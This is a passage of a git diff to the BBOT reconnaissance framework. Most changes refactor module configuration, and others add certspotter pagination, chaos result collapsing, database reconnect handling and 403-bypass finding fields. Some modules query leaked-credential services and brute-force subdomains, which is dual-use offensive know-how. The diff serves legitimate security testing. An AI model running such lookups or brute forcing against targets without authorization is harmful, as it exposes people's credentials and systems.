@@ -129,7 +132,7 @@ async def do_checks(self, compare_helper, event, collapse_threshold):
 
     async def handle_event(self, event):
         try:
-            compare_helper = self.helpers.http_compare(event.data, allow_redirects=True)
+            compare_helper = self.helpers.http_compare(event.url, allow_redirects=True)
         except HttpCompareError as e:
             self.debug(e)
             return
@@ -141,21 +144,31 @@ async def handle_event(self, event):
         if len(results) > collapse_threshold:
             await self.emit_event(
                 {
+                    "name": "Possible 403 Bypass",
                     "description": f"403 Bypass MULTIPLE SIGNATURES (exceeded threshold {str(collapse_threshold)})",
                     "host": str(event.host),
-                    "url": event.data,
+                    "url": event.url,
+                    "severity": "INFO",
+                    "confidence": "LOW",
                 },
                 "FINDING",
                 parent=event,
-                context=f"{{module}} discovered multiple potential 403 bypasses ({{event.type}}) for {event.data}",
+                context=f"{{module}} discovered multiple potential 403 bypasses ({{event.type}}) for {event.url}",
             )
         else:
             for description in results:
                 await self.emit_event(
-                    {"description": description, "host": str(event.host), "url": event.data},
+                    {
+                        "name": "Possible 403 Bypass",
+                        "description": description,
+                        "host": str(event.host),
+                        "url": event.url,
+                        "severity": "MEDIUM",
+                        "confidence": "LOW",
+                    },
                     "FINDING",
                     parent=event,
-                    context=f"{{module}} discovered potential 403 bypass ({{event.type}}) for {event.data}",
+                    context=f"{{module}} discovered potential 403 bypass ({{event.type}}) for {event.url}",
                 )
 
     # When a WAF-check helper is available in the future, we will convert to HTTP_RESPONSE and check for the WAF string here.
diff --git a/bbot/modules/c99.py b/bbot/modules/c99.py
index 5f3792b45f..6b40a2b8e4 100644
--- a/bbot/modules/c99.py
+++ b/bbot/modules/c99.py
@@ -1,18 +1,19 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class c99(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query the C99 API for subdomains",
         "created_date": "2022-07-08",
         "author": "@TheTechromancer",
-        "auth_required": True,
     }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "c99.nl API key"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="c99.nl API key", sensitive=True, mandatory=True)
 
     base_url = "https://api.c99.nl"
     ping_url = f"{base_url}/randomnumber?key={{api_key}}&between=1,100&json"
diff --git a/bbot/modules/censys_dns.py b/bbot/modules/censys_dns.py
index f8b9c62753..f035ff36ff 100644
--- a/bbot/modules/censys_dns.py
+++ b/bbot/modules/censys_dns.py
@@ -1,4 +1,5 @@
 from bbot.modules.templates.censys import censys
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class censys_dns(censys):
@@ -9,19 +10,19 @@ class censys_dns(censys):
 
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query the Censys API for subdomains",
         "created_date": "2022-08-04",
         "author": "@TheTechromancer",
-        "auth_required": True,
-    }
-    options = {"api_key": "", "max_pages": 5}
-    options_desc = {
-        "api_key": "Censys.io API Key in the format of 'key:secret'",
-        "max_pages": "Maximum number of pages to fetch (100 results per page)",
     }
 
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field(
+            "", description="Censys.io API Key in the format of 'key:secret'", sensitive=True, mandatory=True
+        )
+        max_pages: int = Field(5, description="Maximum number of pages to fetch (100 results per page)")
+
     async def setup(self):
         self.max_pages = self.config.get("max_pages", 5)
         return await super().setup()
diff --git a/bbot/modules/censys_ip.py b/bbot/modules/censys_ip.py
index fa82dc33c7..078dce65f2 100644
--- a/bbot/modules/censys_ip.py
+++ b/bbot/modules/censys_ip.py
@@ -1,4 +1,5 @@
 from bbot.modules.templates.censys import censys
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class censys_ip(censys):
@@ -16,26 +17,32 @@ class censys_ip(censys):
         "TECHNOLOGY",
         "PROTOCOL",
     ]
-    flags = ["passive", "safe"]
+    flags = ["safe", "passive"]
     meta = {
         "description": "Query the Censys API for hosts by IP address",
         "created_date": "2026-01-26",
         "author": "@TheTechromancer",
-        "auth_required": True,
-    }
-    options = {"api_key": "", "dns_names_limit": 100, "in_scope_only": True}
-    options_desc = {
-        "api_key": "Censys.io API Key in the format of 'key:secret'",
-        "dns_names_limit": "Maximum number of DNS names to extract from dns.names (default 100)",
-        "in_scope_only": "Only query in-scope IPs. If False, will query up to distance 1.",
     }
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field(
+            "", description="Censys.io API Key in the format of 'key:secret'", sensitive=True, mandatory=True
+        )
+        dns_names_limit: int = Field(
+            100, description="Maximum number of DNS names to extract from dns.names (default 100)"
+        )
+        in_scope_only: bool = Field(
+            True, description="Only query in-scope IPs. If False, will query up to distance 1."
+        )
+
     scope_distance_modifier = 1
 
     async def setup(self):
         self.dns_names_limit = self.config.get("dns_names_limit", 100)
-        self.warning(
-            "This module may consume a lot of API queries. Unless you specifically want to query on each individual IP, we recommend using the censys_dns module instead."
-        )
+        if not self.config.get("in_scope_only", True):
+            self.warning(
+                "in_scope_only is disabled. This module queries each IP individually and may consume a lot of API credits!"
+            )
         return await super().setup()
 
     async def filter_event(self, event):
@@ -126,7 +133,7 @@ async def handle_event(self, event):
                     uri,
                     "URL_UNVERIFIED",
                     parent=event,
-                    context="{module} found {event.data} in HTTP service of {event.parent.data}",
+                    context="{module} found {event.pretty_string} in HTTP service of {event.parent.data}",
                 )
 
             # Extract TLS certificate data
@@ -165,13 +172,13 @@ async def _emit_host(self, host, event, seen, source):
         # Validate and emit as DNS_NAME
         try:
             validated = self.helpers.validators.validate_host(host)
+            if validated and validated not in seen:
+                seen.add(validated)
+                await self.emit_event(
+                    validated,
+                    "DNS_NAME",
+                    parent=event,
+                    context=f"{{module}} found {{event.pretty_string}} in {source} of {{event.parent.data}}",
+                )
         except ValueError as e:
             self.debug(f"Error validating host {host} in {source}: {e}")
-        if validated and validated not in seen:
-            seen.add(validated)
-            await self.emit_event(
-                validated,
-                "DNS_NAME",
-                parent=event,
-                context=f"{{module}} found {{event.data}} in {source} of {{event.parent.data}}",
-            )
diff --git a/bbot/modules/certspotter.py b/bbot/modules/certspotter.py
index f8aa0fad41..d3f06cfba7 100644
--- a/bbot/modules/certspotter.py
+++ b/bbot/modules/certspotter.py
@@ -1,26 +1,72 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class certspotter(subdomain_enum):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query Certspotter's API for subdomains",
         "created_date": "2022-07-28",
         "author": "@TheTechromancer",
     }
 
+    class Config(BaseModuleConfig):
+        api_key: str = Field(
+            "", description="SSLMate API key (enables pagination and higher rate limits)", sensitive=True
+        )
+
     base_url = "https://api.certspotter.com/v1"
 
+    async def setup(self):
+        self.api_key = self.config.get("api_key", "")
+        return await super().setup()
+
     def request_url(self, query):
         url = f"{self.base_url}/issuances?domain={self.helpers.quote(query)}&include_subdomains=true&expand=dns_names"
         return self.api_request(url)
 
+    async def handle_event(self, event):
+        if not self.api_key:
+            return await super().handle_event(event)
+        query = self.make_query(event)
+        after = None
+        while True:
+            url = f"{self.base_url}/issuances?domain={self.helpers.quote(query)}&include_subdomains=true&expand=dns_names"
+            if after is not None:
+                url += f"&after={after}"
+            response = await self.api_request(url)
+            if response is None:
+                break
+            try:
+                json_data = response.json()
+            except Exception:
+                break
+            if not json_data or not isinstance(json_data, list):
+                break
+            for hostname in await self.parse_results(response, query):
+                if hostname:
+                    try:
+                        hostname = self.helpers.validators.validate_host(hostname)
+                    except ValueError:
+                        continue
+                    if hostname and hostname.endswith(f".{query}") and hostname != event.data:
+                        await self.emit_event(
+                            hostname,
+                            "DNS_NAME",
+                            event,
+                            abort_if=self.abort_if,
+                            context=f'{{module}} searched {self.source_pretty_name} for "{query}" and found {{event.type}}: {{event.pretty_string}}',
+                        )
+            after = json_data[-1].get("id")
+            if after is None:
+                break
+
     async def parse_results(self, r, query):
         results = set()
         json = r.json()
-        if json:
+        if json and isinstance(json, list):
             for r in json:
                 for dns_name in r.get("dns_names", []):
                     results.add(dns_name.lstrip(".*").rstrip("."))
diff --git a/bbot/modules/chaos.py b/bbot/modules/chaos.py
index 15a321046a..248967285c 100644
--- a/bbot/modules/chaos.py
+++ b/bbot/modules/chaos.py
@@ -1,18 +1,71 @@
+import re
+from collections import defaultdict
+
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+PER_PARENT_CAP = 300
+PTR_NOISE_PATTERNS = [
+    # leading dotted IPv4-style octets, e.g. 001.106.103.218.static.netvigator.com
+    re.compile(r"^\d{1,3}(\.\d{1,3}){3}(\.|$)"),
+    # leading hyphenated IPv4-style octets, e.g. 000-1-246-220.static.netvigator.com
+    re.compile(r"^\d{1,3}(-\d{1,3}){3}(\.|$|-)"),
+]
+
+
+def _collapse(subdomains, domain, query):
+    """Filter PTR-style noise and collapse floods of sibling subdomains.
+
+    When chaos returns more than PER_PARENT_CAP subdomains sharing a single
+    immediate parent, drop the children and emit just the parent. Bbot's own
+    DNS resolver will then determine wildcard status through normal sampling
+    rather than us asserting it from chaos's evidence alone.
+    """
+    prefixes = []
+    for s in subdomains:
+        s = str(s).lower().strip(".*")
+        if not s:
+            continue
+        if any(p.match(s) for p in PTR_NOISE_PATTERNS):
+            continue
+        prefixes.append(s)
+
+    suffix = f".{query}"
+    fqdns = []
+    for p in prefixes:
+        full = f"{p}.{domain}"
+        if full.endswith(suffix):
+            fqdns.append(full)
+
+    parent_children = defaultdict(set)
+    for name in fqdns:
+        _, parent = name.split(".", 1)
+        parent_children[parent].add(name)
+
+    out = set()
+    capped = []
+    for parent, kids in parent_children.items():
+        if len(kids) > PER_PARENT_CAP and parent != query:
+            capped.append((parent, len(kids)))
+            out.add(parent)
+        else:
+            out.update(kids)
+    return out, capped
 
 
 class chaos(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query ProjectDiscovery's Chaos API for subdomains",
         "created_date": "2022-08-14",
         "author": "@TheTechromancer",
-        "auth_required": True,
     }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "Chaos API key"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Chaos API key", sensitive=True, mandatory=True)
 
     base_url = "https://dns.projectdiscovery.io/dns"
     ping_url = f"{base_url}/example.com"
@@ -27,18 +80,20 @@ async def request_url(self, query):
         return await self.api_request(url)
 
     async def parse_results(self, r, query):
-        results = set()
         j = r.json()
-        subdomains_set = set()
-        if isinstance(j, dict):
-            domain = j.get("domain", "")
-            if domain:
-                subdomains = j.get("subdomains", [])
-                for s in subdomains:
-                    s = s.lower().strip(".*")
-                    subdomains_set.add(s)
-                for s in subdomains_set:
-                    full_subdomain = f"{s}.{domain}"
-                    if full_subdomain and full_subdomain.endswith(f".{query}"):
-                        results.add(full_subdomain)
+        if not isinstance(j, dict):
+            return set()
+        domain = j.get("domain", "")
+        if not domain:
+            return set()
+        subdomains = j.get("subdomains") or []
+        if not subdomains:
+            return set()
+        results, capped = await self.helpers.run_in_executor_cpu(_collapse, subdomains, domain, query)
+        for parent, n in capped:
+            self.verbose(
+                f"chaos returned {n:,} children of {parent}, "
+                f"above per-parent cap of {PER_PARENT_CAP}; "
+                f"emitting parent only and dropping children"
+            )
         return results
diff --git a/bbot/modules/code_repository.py b/bbot/modules/code_repository.py
index f485579f9e..32260c5970 100644
--- a/bbot/modules/code_repository.py
+++ b/bbot/modules/code_repository.py
@@ -10,7 +10,7 @@ class code_repository(BaseModule):
         "created_date": "2024-05-15",
         "author": "@domwhewell-sage",
     }
-    flags = ["passive", "safe", "code-enum"]
+    flags = ["safe", "passive", "code-enum"]
 
     # platform name : (regex, case_sensitive)
     code_repositories = {
@@ -39,7 +39,7 @@ async def handle_event(self, event):
             if not isinstance(regexes, list):
                 regexes = [regexes]
             for regex, case_sensitive in regexes:
-                for match in regex.finditer(event.data):
+                for match in regex.finditer(event.url):
                     url = match.group()
                     if not case_sensitive:
                         url = url.lower()
diff --git a/bbot/modules/credshed.py b/bbot/modules/credshed.py
index 3630646a6f..c2c477990e 100644
--- a/bbot/modules/credshed.py
+++ b/bbot/modules/credshed.py
@@ -1,24 +1,24 @@
 from contextlib import suppress
 
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class credshed(subdomain_enum):
     watched_events = ["DNS_NAME"]
     produced_events = ["PASSWORD", "HASHED_PASSWORD", "USERNAME", "EMAIL_ADDRESS"]
-    flags = ["passive", "safe"]
+    flags = ["safe", "passive"]
     meta = {
         "description": "Send queries to your own credshed server to check for known credentials of your targets",
         "created_date": "2023-10-12",
         "author": "@SpamFaux",
-        "auth_required": True,
-    }
-    options = {"username": "", "password": "", "credshed_url": ""}
-    options_desc = {
-        "username": "Credshed username",
-        "password": "Credshed password",
-        "credshed_url": "URL of credshed server",
     }
+
+    class Config(BaseModuleConfig):
+        username: str = Field("", description="Credshed username", sensitive=True, mandatory=True)
+        password: str = Field("", description="Credshed password", sensitive=True, mandatory=True)
+        credshed_url: str = Field("", description="URL of credshed server", mandatory=True)
+
     target_only = True
 
     async def setup(self):
@@ -80,7 +80,8 @@ async def handle_event(self, event):
             email_event = self.make_event(email, "EMAIL_ADDRESS", parent=event, tags=tags)
             if email_event is not None:
                 await self.emit_event(
-                    email_event, context=f'{{module}} searched for "{query}" and found {{event.type}}: {{event.data}}'
+                    email_event,
+                    context=f'{{module}} searched for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                 )
                 if user:
                     await self.emit_event(
@@ -88,7 +89,7 @@ async def handle_event(self, event):
                         "USERNAME",
                         parent=email_event,
                         tags=tags,
-                        context=f"{{module}} found {email} with {{event.type}}: {{event.data}}",
+                        context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}",
                     )
                 if pw:
                     await self.emit_event(
@@ -96,7 +97,7 @@ async def handle_event(self, event):
                         "PASSWORD",
                         parent=email_event,
                         tags=tags,
-                        context=f"{{module}} found {email} with {{event.type}}: {{event.data}}",
+                        context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}",
                     )
                 for h_pw in hashes:
                     if h_pw:
@@ -105,5 +106,5 @@ async def handle_event(self, event):
                             "HASHED_PASSWORD",
                             parent=email_event,
                             tags=tags,
-                            context=f"{{module}} found {email} with {{event.type}}: {{event.data}}",
+                            context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}",
                         )
diff --git a/bbot/modules/crt.py b/bbot/modules/crt.py
index 05735c4e93..ed435ccd3f 100644
--- a/bbot/modules/crt.py
+++ b/bbot/modules/crt.py
@@ -2,7 +2,7 @@
 
 
 class crt(subdomain_enum):
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
     meta = {
@@ -21,7 +21,11 @@ async def setup(self):
     async def request_url(self, query):
         params = {"q": f"%.{query}", "output": "json"}
         url = self.helpers.add_get_params(self.base_url, params).geturl()
-        return await self.api_request(url, timeout=self.http_timeout + 30)
+        return await self.api_request(url, timeout=self.http_timeout_infrastructure + 30)
+
+    def _api_response_is_success(self, r):
+        # crt.sh returns 404/503 transiently; the default treats 404 as "no data" which is wrong here
+        return getattr(r, "is_success", False)
 
     async def parse_results(self, r, query):
         results = set()
diff --git a/bbot/modules/crt_db.py b/bbot/modules/crt_db.py
index 71c52a4bf8..85eb97b0f7 100644
--- a/bbot/modules/crt_db.py
+++ b/bbot/modules/crt_db.py
@@ -5,7 +5,7 @@
 
 
 class crt_db(subdomain_enum):
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
     meta = {
@@ -26,15 +26,20 @@ async def setup(self):
         self.db_conn = None
         return await super().setup()
 
+    async def _connect(self):
+        return await asyncpg.connect(
+            host=self.db_host,
+            port=self.db_port,
+            user=self.db_user,
+            database=self.db_name,
+            statement_cache_size=0,  # Disable automatic statement preparation
+        )
+
     async def request_url(self, query):
-        if not self.db_conn:
-            self.db_conn = await asyncpg.connect(
-                host=self.db_host,
-                port=self.db_port,
-                user=self.db_user,
-                database=self.db_name,
-                statement_cache_size=0,  # Disable automatic statement preparation
-            )
+        # asyncpg connections can drop mid-scan when the upstream Postgres restarts,
+        # exhausts shared memory, or idles us out. Reconnect on the next call.
+        if self.db_conn is None or self.db_conn.is_closed():
+            self.db_conn = await self._connect()
 
         sql = """
         WITH ci AS (
@@ -51,7 +56,16 @@ async def request_url(self, query):
         SELECT DISTINCT unnest(NAME_VALUES) as name_value FROM ci;
         """
         start = time.time()
-        results = await self.db_conn.fetch(sql, query)
+        try:
+            results = await self.db_conn.fetch(sql, query)
+        except (asyncpg.InterfaceError, asyncpg.PostgresConnectionError, ConnectionError):
+            # connection died between requests; drop it so the next call reconnects
+            self.db_conn = None
+            raise
+        except asyncpg.OutOfMemoryError as e:
+            # upstream is overloaded; bail out for the rest of the scan rather than hammer it
+            self.set_error_state(f"crt.sh Postgres reported out-of-memory: {e}")
+            return []
         end = time.time()
         self.verbose(f"SQL query executed in: {end - start} seconds with {len(results):,} results")
         return results
diff --git a/bbot/modules/dehashed.py b/bbot/modules/dehashed.py
index 4e64f22450..7ad01a8c1e 100644
--- a/bbot/modules/dehashed.py
+++ b/bbot/modules/dehashed.py
@@ -1,20 +1,22 @@
 from contextlib import suppress
 
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class dehashed(subdomain_enum):
     watched_events = ["DNS_NAME"]
     produced_events = ["PASSWORD", "HASHED_PASSWORD", "USERNAME", "EMAIL_ADDRESS"]
-    flags = ["passive", "safe", "email-enum"]
+    flags = ["safe", "passive", "email-enum"]
     meta = {
         "description": "Execute queries against dehashed.com for exposed credentials",
         "created_date": "2023-10-12",
         "author": "@SpamFaux",
-        "auth_required": True,
     }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "DeHashed API Key"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="DeHashed API Key", sensitive=True, mandatory=True)
+
     target_only = True
 
     base_url = "https://api.dehashed.com/v2/search"
@@ -60,7 +62,7 @@ async def handle_event(self, event):
                     if email_event is not None:
                         await self.emit_event(
                             email_event,
-                            context=f'{{module}} searched API for "{query}" and found {{event.type}}: {{event.data}}',
+                            context=f'{{module}} searched API for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                         )
                         for user in users:
                             await self.emit_event(
@@ -68,7 +70,7 @@ async def handle_event(self, event):
                                 "USERNAME",
                                 parent=email_event,
                                 tags=tags,
-                                context=f"{{module}} found {email} with {{event.type}}: {{event.data}}",
+                                context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}",
                             )
                         for pw in pws:
                             await self.emit_event(
@@ -76,7 +78,7 @@ async def handle_event(self, event):
                                 "PASSWORD",
                                 parent=email_event,
                                 tags=tags,
-                                context=f"{{module}} found {email} with {{event.type}}: {{event.data}}",
+                                context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}",
                             )
                         for h_pw in h_pws:
                             await self.emit_event(
@@ -84,7 +86,7 @@ async def handle_event(self, event):
                                 "HASHED_PASSWORD",
                                 parent=email_event,
                                 tags=tags,
-                                context=f"{{module}} found {email} with {{event.type}}: {{event.data}}",
+                                context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}",
                             )
 
     async def query(self, domain):
diff --git a/bbot/modules/dnsbimi.py b/bbot/modules/dnsbimi.py
index d108933ea4..3a5c38f38e 100644
--- a/bbot/modules/dnsbimi.py
+++ b/bbot/modules/dnsbimi.py
@@ -25,9 +25,10 @@
 #
 
 from bbot.modules.base import BaseModule
-from bbot.core.helpers.dns.helpers import service_record
+from bbot.core.helpers.dns.helpers import record_to_text, service_record
 
 import re
+from bbot.core.config.models import BaseModuleConfig, Field
 
 # Handle "v=BIMI1; l=; a=;" == RFC conformant explicit declination to publish, e.g. useful on a sub-domain if you don't want the sub-domain to have a BIMI logo, yet your registered domain does?
 # Handle "v=BIMI1; l=; a=" == RFC non-conformant explicit declination to publish
@@ -46,22 +47,17 @@
 class dnsbimi(BaseModule):
     watched_events = ["DNS_NAME"]
     produced_events = ["URL_UNVERIFIED", "RAW_DNS_RECORD"]
-    flags = ["subdomain-enum", "cloud-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "cloud-enum", "passive"]
     meta = {
         "description": "Check DNS_NAME's for BIMI records to find image and certificate hosting URL's",
         "author": "@colin-stubbs",
         "created_date": "2024-11-15",
     }
-    options = {
-        "emit_raw_dns_records": False,
-        "emit_urls": True,
-        "selectors": "default,email,mail,bimi",
-    }
-    options_desc = {
-        "emit_raw_dns_records": "Emit RAW_DNS_RECORD events",
-        "emit_urls": "Emit URL_UNVERIFIED events",
-        "selectors": "CSV list of BIMI selectors to check",
-    }
+
+    class Config(BaseModuleConfig):
+        emit_raw_dns_records: bool = Field(False, description="Emit RAW_DNS_RECORD events")
+        emit_urls: bool = Field(True, description="Emit URL_UNVERIFIED events")
+        selectors: str = Field("default,email,mail,bimi", description="CSV list of BIMI selectors to check")
 
     async def setup(self):
         self.emit_raw_dns_records = self.config.get("emit_raw_dns_records", False)
@@ -93,50 +89,46 @@ async def inspectBIMI(self, event, domain):
             tags = ["bimi-record", f"bimi-{selector}"]
             hostname = f"{selector}._bimi.{parent_domain}"
 
-            r = await self.helpers.resolve_raw(hostname, type=rdtype)
-
-            if r:
-                raw_results, errors = r
-
-                for answer in raw_results:
-                    if self.emit_raw_dns_records:
-                        await self.emit_event(
-                            {
-                                "host": hostname,
-                                "type": rdtype,
-                                "answer": answer.to_text(),
-                            },
-                            "RAW_DNS_RECORD",
-                            parent=event,
-                            tags=tags.append(f"{rdtype.lower()}-record"),
-                            context=f"{rdtype} lookup on {hostname} produced {{event.type}}",
-                        )
-
-                    # we need to strip surrounding quotes and whitespace, as well as fix TXT data that may have been split across two different rdata's
-                    # e.g. we will get a single string, but within that string we may have two parts such as:
-                    # answer = '"part 1 that was really long" "part 2 that did not fit in part 1"'
-                    s = answer.to_text().strip('"').strip().replace('" "', "")
-
-                    bimi_match = bimi_regex.search(s)
-
-                    if bimi_match and bimi_match.group("v") and "bimi" in bimi_match.group("v").lower():
-                        if bimi_match.group("l") and bimi_match.group("l") != "":
-                            if self.emit_urls:
-                                await self.emit_event(
-                                    bimi_match.group("l"),
-                                    "URL_UNVERIFIED",
-                                    parent=event,
-                                    tags=tags.append("bimi-location"),
-                                )
-
-                        if bimi_match.group("a") and bimi_match.group("a") != "":
-                            if self.emit_urls:
-                                await self.emit_event(
-                                    bimi_match.group("a"),
-                                    "URL_UNVERIFIED",
-                                    parent=event,
-                                    tags=tags.append("bimi-authority"),
-                                )
+            response = await self.helpers.dns.resolve_full(hostname, rdtype)
+
+            for answer in response.response.answers:
+                text_answer = record_to_text(answer)
+                if self.emit_raw_dns_records:
+                    await self.emit_event(
+                        {
+                            "host": hostname,
+                            "type": rdtype,
+                            "answer": text_answer,
+                        },
+                        "RAW_DNS_RECORD",
+                        parent=event,
+                        tags=tags.append(f"{rdtype.lower()}-record"),
+                        context=f"{rdtype} lookup on {hostname} produced {{event.type}}",
+                    )
+
+                # record_to_text already joins multi-string TXT records and omits dnspython-style quoting
+                s = text_answer.strip()
+
+                bimi_match = bimi_regex.search(s)
+
+                if bimi_match and bimi_match.group("v") and "bimi" in bimi_match.group("v").lower():
+                    if bimi_match.group("l") and bimi_match.group("l") != "":
+                        if self.emit_urls:
+                            await self.emit_event(
+                                bimi_match.group("l"),
+                                "URL_UNVERIFIED",
+                                parent=event,
+                                tags=tags.append("bimi-location"),
+                            )
+
+                    if bimi_match.group("a") and bimi_match.group("a") != "":
+                        if self.emit_urls:
+                            await self.emit_event(
+                                bimi_match.group("a"),
+                                "URL_UNVERIFIED",
+                                parent=event,
+                                tags=tags.append("bimi-authority"),
+                            )
 
     async def handle_event(self, event):
         await self.inspectBIMI(event, event.host)
diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py
index 4c57d1feda..7b56ae1408 100644
--- a/bbot/modules/dnsbrute.py
+++ b/bbot/modules/dnsbrute.py
@@ -1,8 +1,11 @@
+from typing import Union
+
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class dnsbrute(subdomain_enum):
-    flags = ["subdomain-enum", "active", "aggressive"]
+    flags = ["subdomain-enum", "active", "loud"]
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
     meta = {
@@ -10,14 +13,18 @@ class dnsbrute(subdomain_enum):
         "author": "@TheTechromancer",
         "created_date": "2024-04-24",
     }
-    options = {
-        "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt",
-        "max_depth": 5,
-    }
-    options_desc = {
-        "wordlist": "Subdomain wordlist URL",
-        "max_depth": "How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com",
-    }
+
+    class Config(BaseModuleConfig):
+        wordlist: Union[str, list[str]] = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt",
+            description="Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).",
+        )
+        max_depth: int = Field(5, description="How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com")
+        recursive_mutations: bool = Field(
+            False,
+            description="If True, brute-force hosts discovered by dnsbrute_mutations. The default (False) skips them because the static wordlist heavily overlaps with the mutation algorithm's own output.",
+        )
+
     deps_common = ["massdns"]
     reject_wildcards = "strict"
     dedup_strategy = "lowest_parent"
@@ -54,11 +61,11 @@ async def filter_event(self, event):
 
     async def handle_event(self, event):
         query = self.make_query(event)
-        self.info(f"Brute-forcing {self.wordlist_size:,} subdomains for {query} (source: {event.data})")
+        self.info(f"Brute-forcing {self.wordlist_size:,} subdomains for {query} (source: {event.pretty_string})")
         for hostname in await self.helpers.dns.brute(self, query, self.subdomain_list):
             await self.emit_event(
                 hostname,
                 "DNS_NAME",
                 parent=event,
-                context=f'{{module}} tried {self.wordlist_size:,} subdomains against "{query}" and found {{event.type}}: {{event.data}}',
+                context=f'{{module}} tried {self.wordlist_size:,} subdomains against "{query}" and found {{event.type}}: {{event.pretty_string}}',
             )
diff --git a/bbot/modules/dnsbrute_mutations.py b/bbot/modules/dnsbrute_mutations.py
index f56a214572..b4784f6ea6 100644
--- a/bbot/modules/dnsbrute_mutations.py
+++ b/bbot/modules/dnsbrute_mutations.py
@@ -1,10 +1,11 @@
 import time
 
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class dnsbrute_mutations(BaseModule):
-    flags = ["subdomain-enum", "active", "aggressive", "slow"]
+    flags = ["subdomain-enum", "active", "loud", "slow"]
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
     meta = {
@@ -12,12 +13,10 @@ class dnsbrute_mutations(BaseModule):
         "author": "@TheTechromancer",
         "created_date": "2024-04-25",
     }
-    options = {
-        "max_mutations": 100,
-    }
-    options_desc = {
-        "max_mutations": "Maximum number of target-specific mutations to try per subdomain",
-    }
+
+    class Config(BaseModuleConfig):
+        max_mutations: int = Field(100, description="Maximum number of target-specific mutations to try per subdomain")
+
     deps_common = ["massdns"]
     _qsize = 10000
 
@@ -44,7 +43,7 @@ async def handle_event(self, event):
 
     async def get_parent_event(self, subdomain):
         start = time.time()
-        parent_host = await self.helpers.run_in_executor(self.helpers.closest_match, subdomain, self.parent_events)
+        parent_host = await self.helpers.run_in_executor_cpu(self.helpers.closest_match, subdomain, self.parent_events)
         elapsed = time.time() - start
         self.trace(f"{subdomain}: got closest match among {len(self.parent_events):,} parent events in {elapsed:.2f}s")
         return self.parent_events[parent_host]
@@ -139,7 +138,7 @@ def add_mutation(m):
                                 parent=parent_event,
                                 tags=[f"mutation-{mutation_run}"],
                                 abort_if=self.abort_if,
-                                context=f'{{module}} found a mutated subdomain of "{parent_event.host}" on its {mutation_run_ordinal} run: {{event.type}}: {{event.data}}',
+                                context=f'{{module}} found a mutated subdomain of "{parent_event.host}" on its {mutation_run_ordinal} run: {{event.type}}: {{event.pretty_string}}',
                             )
                         if results:
                             continue
diff --git a/bbot/modules/dnscaa.py b/bbot/modules/dnscaa.py
index 1465cd8faf..279acd216d 100644
--- a/bbot/modules/dnscaa.py
+++ b/bbot/modules/dnscaa.py
@@ -21,40 +21,22 @@
 
 from bbot.modules.base import BaseModule
 
-import re
-
 from bbot.core.helpers.regexes import dns_name_extraction_regex, email_regex, url_regexes
-
-# Handle '0 iodef "mailto:support@hcaptcha.com"'
-# Handle '1 iodef "https://some.host.tld/caa;"'
-# Handle '0 issue "pki.goog; cansignhttpexchanges=yes; somethingelse=1"'
-# Handle '1 issue ";"' == explicit denial for any wildcard issuance.
-# Handle '128 issuewild "comodoca.com"'
-# Handle '128 issuewild ";"' == explicit denial for any wildcard issuance.
